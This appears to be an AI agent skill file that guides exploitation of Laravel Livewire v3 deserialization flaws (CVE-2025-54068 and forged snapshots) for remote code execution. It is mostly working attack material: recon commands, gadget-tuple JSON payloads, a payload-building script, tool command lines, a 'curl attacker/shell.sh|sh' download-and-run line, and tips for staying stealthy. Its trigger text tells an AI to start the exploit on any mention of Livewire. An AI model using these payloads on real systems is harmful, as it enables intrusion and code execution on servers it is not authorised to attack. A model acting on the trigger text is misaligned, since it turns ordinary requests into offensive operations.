Hacktricks-skills livewire-hydration-exploitation
Exploit Laravel Livewire v3 deserialization vulnerabilities for RCE. Use this skill whenever the user mentions Livewire, Laravel, deserialization attacks, CVE-2025-54068, Livewire snapshots, hydration abuse, or any web application using Livewire v3. Trigger even if the user just says "test this Livewire app" or "check for deserialization" on a Laravel site.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/deserialization/livewire-hydration-synthesizer-abuse/SKILL.MDLaravel Livewire Hydration & Synthesizer Abuse
A skill for exploiting Laravel Livewire v3 deserialization vulnerabilities to achieve remote code execution (RCE).
Overview
Livewire 3 components exchange state through snapshots containing
data, memo, and a checksum. The hydration system uses synthetic tuples to encode complex properties, delegating to synthesizers that can instantiate arbitrary classes. This creates a generic object-instantiation engine exploitable for RCE.
Two Attack Paths
- With APP_KEY: Forge arbitrary snapshots by recomputing HMAC checksums
- CVE-2025-54068 (No APP_KEY): Abuse
merging after checksum validation (affects v3.0.0-beta.1 to v3.6.2)updates
Prerequisites
- Target running Laravel with Livewire v3
- Access to
endpoint/livewire/update - For APP_KEY path: knowledge of
(base64 encoded)APP_KEY - For CVE path: a Livewire component with untyped public properties
Reconnaissance
1. Identify Livewire Version
# Check the livewire.js hash to fingerprint version curl -s https://target.com | grep -oP 'livewire\.js\?id=\K[a-f0-9]+'
Map the hash to vulnerable releases:
- v3.0.0-beta.1 to v3.6.2: Vulnerable to CVE-2025-54068
- All v3 versions: Vulnerable if APP_KEY is known
2. Capture Baseline Request
# Intercept a legitimate /livewire/update request curl -X POST https://target.com/livewire/update \ -H "Content-Type: application/json" \ -H "X-Livewire: true" \ -d '{"components":[],"updates":{},"fingerprint":{}}' \ --trace-ascii -
Extract
components[0].snapshot for analysis.
Attack Path 1: With APP_KEY (Snapshot Forgery)
Step 1: Decode the Snapshot
# Extract and decode the snapshot from captured request python3 -c " import json, base64 with open('request.json') as f: data = json.load(f) snapshot = data['components'][0]['snapshot'] print(json.dumps(snapshot, indent=2)) "
Step 2: Inject Gadget Tuples
The exploit uses synthesizer tuples to instantiate gadget objects:
| Synthesizer | Key | Behavior |
|---|---|---|
| CollectionSynth | | |
| FormObjectSynth | | |
| ModelSynth | | (zero-arg) |
Step 3: Use laravel-crypto-killer
# Clone and run ./laravel_crypto_killer.py exploit -e livewire \ -k base64:APP_KEY \ -j request.json \ --function system \ -p "bash -c 'id'"
The tool:
- Parses the captured snapshot
- Injects gadget tuples (Guzzle FnStream + Flysystem chain)
- Recomputes the HMAC checksum
- Outputs a ready-to-send payload
Step 4: Replay the Forged Request
curl -X POST https://target.com/livewire/update \ -H "Content-Type: application/json" \ -H "X-CSRF-TOKEN: <token>" \ -d @forged_payload.json
Attack Path 2: CVE-2025-54068 (No APP_KEY)
Understanding the Vulnerability
updates are merged into component state after snapshot checksum validation. If a property becomes a synthetic tuple, Livewire reuses its metadata while hydrating attacker-controlled update values.
Step 1: Find Coercible Property
Look for untyped public properties in Livewire components:
// Vulnerable pattern class MyComponent extends Component { public $count; // Untyped - can be coerced to array public $items; // Untyped - exploitable }
Step 2: Force Tuple Creation
Send an update that coerces a property to an array:
{ "updates": { "count": [] } }
The next snapshot will store it as:
"count": [[], {"s": "arr"}]
Step 3: Inject Nested Gadget Tuples
Craft an update with deeply nested arrays containing gadget tuples:
{ "updates": { "count": [ [ {"__toString": "phpinfo"}, {"s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream"} ], {"s": "arr"} ] } }
Step 4: Use Livepyre (Automated)
# CVE-2025-54068, unauthenticated python3 Livepyre.py -u https://target.com/livewire/component \ -f system -p id # With APP_KEY (signed snapshot path) python3 Livepyre.py -u https://target.com/livewire/component \ -a base64:APP_KEY \ -f system -p "bash -c 'curl attacker/shell.sh|sh'"
Livepyre features:
: Non-destructive probe-c/--check
: Skip version gating-F
: Custom headers-H
: Proxy support-P
: Customize invoked function--function/--param
Manual Payload Construction
Minimal RCE Chain
import json # FnStream with __toString callable fn_stream_tuple = [ {"__toString": "system", "__invoke": ["id"]}, {"s": "clctn", "class": "GuzzleHttp\\Psr7\\FnStream"} ] # Queueable gadget with phpggc chain queueable_tuple = [ { "chained": [ # phpggc Laravel/RCE4Adapted serialized blob "O:47:\"Illuminate\\Broadcasting\\BroadcastEvent\":2:{...}" ] }, {"s": "clctn", "class": "Illuminate\\Queue\\CallQueuedHandler"} ] # Combine in updates payload payload = { "updates": { "target_property": [fn_stream_tuple, {"s": "arr"}] } }
Stealth Termination
Prevent noisy exceptions by adding exit callable:
{ "__invoke": ["exit"], "__toString": "phpinfo" }
Or use Laravel's Terminal:
{ "__invoke": ["exit"], "class": "Laravel\\Prompts\\Terminal" }
Gadget Chains
Available Chains
-
Guzzle FnStream + Flysystem
- Instantiates FnStream with
callable__toString - Flysystem casts prefixes to string, invoking the callable
- Works for any zero-argument function
- Instantiates FnStream with
-
phpggc Laravel/RCE4Adapted
- Uses Queueable trait's
property$chained - BroadcastEvent wrapper triggers deserialization
- PendingBroadcast -> Validator -> Signed closure
enablescall_user_func_array($closure, $args)system($cmd)
- Uses Queueable trait's
Custom Gadget Discovery
Any class with:
- Array constructor (CollectionSynth)
- Two loosely-typed constructor params (FormObjectSynth)
- Zero-argument constructor (ModelSynth)
Can potentially be instantiated. Look for:
,__toString
,__invoke
magic methods__destruct- Public properties that trigger code execution
- Traits like Queueable, SerializesModels
Defensive Considerations
For Defenders
- Upgrade immediately: Livewire >= 3.6.4
- Type all properties: Use explicit scalar types
public int $count; // Not exploitable public string $name; // Not exploitable - Minimize synthesizers: Register only needed ones
- Validate type changes: Reject scalar -> array updates
- Rotate APP_KEY: After any disclosure
For Pentesters
- Always check version before exploiting
- Use
for non-destructive probing-c/--check - Document findings with proof-of-concept payloads
- Consider impact of noisy exceptions on detection
References
- Synacktiv – Livewire RCE via Unmarshaling
- synacktiv/laravel-crypto-killer
- synacktiv/Livepyre
- GHSA-29cq-5w36-x7w3 – Livewire v3 RCE advisory
Quick Reference
# Automated exploitation (CVE-2025-54068) python3 Livepyre.py -u https://target/livewire/component -f system -p id # Automated exploitation (with APP_KEY) python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY -f system -p "whoami" # Manual snapshot forgery ./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY -j request.json --function system -p "id" # Version fingerprinting curl -s https://target.com | grep -oP 'livewire\.js\?id=\K[a-f0-9]+'
Test Cases
Use these prompts to verify skill functionality:
- "I found a Laravel app using Livewire v3.2.0, how do I check if it's vulnerable to CVE-2025-54068?"
- "I have the APP_KEY for a Livewire application, show me how to forge a snapshot for RCE"
- "Help me exploit a Livewire component with public $count property"
- "What's the difference between the APP_KEY and no-APP_KEY Livewire exploitation paths?"